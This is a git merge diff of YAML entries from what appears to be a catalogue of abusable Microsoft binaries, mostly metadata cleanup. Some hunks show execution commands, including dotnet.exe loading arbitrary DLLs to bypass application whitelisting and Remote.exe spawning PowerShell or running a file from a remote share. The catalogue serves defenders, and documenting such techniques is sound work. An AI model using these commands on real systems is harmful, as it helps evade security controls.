Merge remote-tracking branch 'upstream/master' into windows_11_sprint

yml/OtherMSBinaries/AccCheckConsole.yml

@@ -34,4 +34,3 @@ Resources:
 Acknowledgement:
   - Person: Jimmy
     Handle: '@bohops'
----

yml/OtherMSBinaries/Adplus.yml

@@ -23,4 +23,3 @@ Resources:
 Acknowledgement:
   - Person: mr.d0x
     Handle: '@mrd0x'
----

yml/OtherMSBinaries/Agentexecutor.yml

@@ -28,4 +28,3 @@ Resources:
 Acknowledgement:
   - Person: Eleftherios Panos
     Handle: '@lefterispan'
----

yml/OtherMSBinaries/Appvlp.yml

@@ -44,4 +44,3 @@ Acknowledgement:
     Handle: '@moo_hax'
   - Person: Matt Wilson
     Handle: '@enigma0x3'
----

yml/OtherMSBinaries/Bginfo.yml

@@ -60,4 +60,3 @@ Resources:
 Acknowledgement:
   - Person: Oddvar Moe
     Handle: '@oddvarmoe'
----

yml/OtherMSBinaries/Cdb.yml

@@ -42,4 +42,3 @@ Acknowledgement:
     Handle: '@mrd0x'
   - Person: Spooky Sec
     Handle: '@sec_spooky'
----

yml/OtherMSBinaries/Coregen.yml

@@ -46,4 +46,3 @@ Acknowledgement:
     Handle:
   - Person: Casey Erikson
     Handle:
----

yml/OtherMSBinaries/Csi.yml

@@ -28,4 +28,3 @@ Resources:
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subtee'
----

yml/OtherMSBinaries/DefaultPack.yml

@@ -22,4 +22,3 @@ Resources:
 Acknowledgement:
   - Person: checkymander
     Handle: '@checkymander'
----

yml/OtherMSBinaries/Devtoolslauncher.yml

@@ -30,4 +30,3 @@ Resources:
 Acknowledgement:
   - Person: felamos
     Handle: '@_felamos'
----

yml/OtherMSBinaries/Dnx.yml

@@ -25,4 +25,3 @@ Resources:
 Acknowledgement:
   - Person: Matt Nelson
     Handle: '@enigma0x3'
----

yml/OtherMSBinaries/Dotnet.yml

@@ -6,6 +6,7 @@ Created: 2019-11-12
 Commands:
   - Command: dotnet.exe [PATH_TO_DLL]
     Description: dotnet.exe will execute any dll even if applocker is enabled.
+    Usecase: Execute code bypassing AWL
     Category: AWL Bypass
     Privileges: User
     MitreID: T1218
@@ -19,6 +20,7 @@ Commands:
     OperatingSystem: Windows 7 and up with .NET installed
   - Command: dotnet.exe msbuild [Path_TO_XML_CSPROJ]
     Description: dotnet.exe with msbuild (SDK Version) will execute unsigned code
+    Usecase: Execute code bypassing AWL
     Category: AWL Bypass
     Privileges: User
     MitreID: T1218
@@ -38,4 +40,3 @@ Acknowledgement:
     Handle: '@_felamos'
   - Person: Jimmy
     Handle: '@bohops'
----

yml/OtherMSBinaries/Dump64.yml

@@ -21,4 +21,3 @@ Resources:
 Acknowledgement:
   - Person: mr.d0x
     Handle: '@mrd0x'
----

yml/OtherMSBinaries/Dxcap.yml

@@ -23,4 +23,3 @@ Resources:
 Acknowledgement:
   - Person: Matt harr0ey
     Handle: '@harr0ey'
----

yml/OtherMSBinaries/Excel.yml

@@ -38,4 +38,3 @@ Resources:
 Acknowledgement:
   - Person: 'Reegun J (OCBC Bank)'
     Handle: '@reegun21'
----

yml/OtherMSBinaries/Fsi.yml

@@ -36,4 +36,3 @@ Acknowledgement:
     Handle: '@NickTyrer'
   - Person: Jimmy
     Handle: '@bohops'
----

yml/OtherMSBinaries/FsiAnyCpu.yml

@@ -32,4 +32,3 @@ Acknowledgement:
     Handle: '@NickTyrer'
   - Person: Jimmy
     Handle: '@bohops'
----

yml/OtherMSBinaries/Mftrace.yml

@@ -31,4 +31,3 @@ Resources:
 Acknowledgement:
   - Person: fabrizio
     Handle: '@0rbz_'
----

yml/OtherMSBinaries/Msdeploy.yml

@@ -14,7 +14,7 @@ Commands:
   - Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="c:\temp\calc.bat"
     Description: Launch calc.bat via msdeploy.exe.
     Usecase: Local execution of batch file using msdeploy.exe.
-    Category: AWL bypass
+    Category: AWL Bypass
     Privileges: User
     MitreID: T1218
     OperatingSystem: Windows server
@@ -30,4 +30,3 @@ Resources:
 Acknowledgement:
   - Person: Pierre-Alexandre Braeken
     Handle: '@pabraeken'
----

yml/OtherMSBinaries/Msxsl.yml

@@ -33,7 +33,7 @@ Commands:
     MitreID: T1218
     OperatingSystem: Windows
 Full_Path:
-  - Path:
+  - Path: no default
 Code_Sample:
   - Code:
 Detection:
@@ -47,4 +47,3 @@ Resources:
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subtee'
----

yml/OtherMSBinaries/Ntdsutil.yml

@@ -25,4 +25,3 @@ Resources:
 Acknowledgement:
   - Person: Sean Metcalf
     Handle: '@PyroTek3'
----

yml/OtherMSBinaries/Powerpnt.yml

@@ -35,4 +35,3 @@ Resources:
 Acknowledgement:
   - Person: Reegun J (OCBC Bank)
     Handle: '@reegun21'
----

yml/OtherMSBinaries/Procdump.yml

@@ -1,6 +1,8 @@
 ---
-Name: Procdump(64).exe
+Name: Procdump.exe
 Description: SysInternals Memory Dump Tool
+Aliases:
+  - Alias: Procdump64.exe
 Author: 'Alfie Champion (@ajpc500)'
 Created: 2020-10-14
 Commands:
@@ -18,6 +20,8 @@ Commands:
     Privileges: User
     MitreID: T1202
     OperatingSystem: Windows 8.1 and higher, Windows Server 2012 and higher.
+Full_Path:
+  - Path: no default
 Detection:
   - Sigma: https://github.com/SigmaHQ/sigma/blob/f36b1cbd2a3f1a7423f43a67a182549778700615/rules/windows/process_creation/win_susp_procdump.yml
   - Sigma: https://github.com/SigmaHQ/sigma/blob/f36b1cbd2a3f1a7423f43a67a182549778700615/rules/windows/process_creation/win_procdump.yml
@@ -29,6 +33,5 @@ Detection:
 Resources:
   - Link: https://twitter.com/ajpc500/status/1448588362382778372?s=20
 Acknowledgement:
-  - Name: Alfie Champion
+  - Person: Alfie Champion
     Handle: '@ajpc500'
----

yml/OtherMSBinaries/Rcsi.yml

@@ -19,7 +19,7 @@ Commands:
     MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
-  - Path:
+  - Path: no default
 Code_Sample:
   - Code:
 Detection:
@@ -32,4 +32,3 @@ Resources:
 Acknowledgement:
   - Person: Matt Nelson
     Handle: '@enigma0x3'
----

yml/OtherMSBinaries/Remote.yml

@@ -10,21 +10,21 @@ Commands:
     Category: AWL Bypass
     Privileges: User
     MitreID: T1127
-    OperatingSystem:
+    OperatingSystem: Windows
   - Command: Remote.exe /s "powershell.exe" anythinghere
     Description: Spawns powershell as a child process of remote.exe
     Usecase: Executes a process under a trusted Microsoft signed binary
     Category: Execute
     Privileges: User
     MitreID: T1127
-    OperatingSystem:
+    OperatingSystem: Windows
   - Command: Remote.exe /s "\\10.10.10.30\binaries\file.exe" anythinghere
     Description: Run a remote file
     Usecase: Executing a remote binary without saving file to disk
     Category: Execute
     Privileges: User
     MitreID: T1127
-    OperatingSystem:
+    OperatingSystem: Windows
 Full_Path:
   - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe
   - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe
@@ -37,4 +37,3 @@ Resources:
 Acknowledgement:
   - Person: mr.d0x
     Handle: '@mrd0x'
----

yml/OtherMSBinaries/Sqldumper.yml

@@ -34,4 +34,3 @@ Resources:
 Acknowledgement:
   - Person: Luis Rocha
     Handle: '@countuponsec'
----

yml/OtherMSBinaries/Sqlps.yml

@@ -33,4 +33,3 @@ Acknowledgement:
     Handle: '@bryon_'
   - Person: Manny
     Handle: '@ManuelBerrueta'
----

yml/OtherMSBinaries/Sqltoolsps.yml

@@ -24,4 +24,3 @@ Resources:
 Acknowledgement:
   - Person: Pierre-Alexandre Braeken
     Handle: '@pabraeken'
----

yml/OtherMSBinaries/Squirrel.yml

@@ -55,4 +55,3 @@ Acknowledgement:
     Handle: '@reegun21'
   - Person: Adam
     Handle: '@Hexacorn'
----

yml/OtherMSBinaries/Te.yml

@@ -12,7 +12,7 @@ Commands:
     MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
-  - Path:
+  - Path: no default
 Code_Sample:
   - Code:
 Detection:
@@ -22,4 +22,3 @@ Resources:
 Acknowledgement:
   - Person: Giuseppe N3mes1s
     Handle: '@gN3mes1s'
----

yml/OtherMSBinaries/Tracker.yml

@@ -19,7 +19,7 @@ Commands:
     MitreID: T1127
     OperatingSystem: Windows
 Full_Path:
-  - Path:
+  - Path: no default
 Code_Sample:
   - Code:
 Detection:
@@ -30,4 +30,3 @@ Resources:
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subTee'
----

yml/OtherMSBinaries/Update.yml

@@ -119,4 +119,3 @@ Acknowledgement:
   - Person: Adam
     Handle: '@Hexacorn'
   - Person: Jesus Galvez
----

yml/OtherMSBinaries/VSIISExeLauncher.yml

@@ -22,4 +22,3 @@ Resources:
 Acknowledgement:
   - Person: timwhite
     Handle:
----

yml/OtherMSBinaries/VisualUiaVerifyNative.yml

@@ -28,4 +28,3 @@ Acknowledgement:
     Handle: '@tifkin'
   - Person: Jimmy
     Handle: '@bohops'
----

yml/OtherMSBinaries/Vsjitdebugger.yml

@@ -22,4 +22,3 @@ Resources:
 Acknowledgement:
   - Person: Pierre-Alexandre Braeken
     Handle: '@pabraeken'
----

yml/OtherMSBinaries/Wfc.yml

@@ -25,4 +25,3 @@ Acknowledgement:
     Handle: '@mattifestation'
   - Person: Jimmy
     Handle: '@bohops'
----

yml/OtherMSBinaries/Winword.yml

@@ -38,4 +38,3 @@ Resources:
 Acknowledgement:
   - Person: 'Reegun J (OCBC Bank)'
     Handle: '@reegun21'
----

yml/OtherMSBinaries/Wsl.yml

@@ -49,4 +49,3 @@ Acknowledgement:
     Handle: '@NotoriousRebel1'
   - Person: Asif Matadar
     Handle: '@d1r4c'
----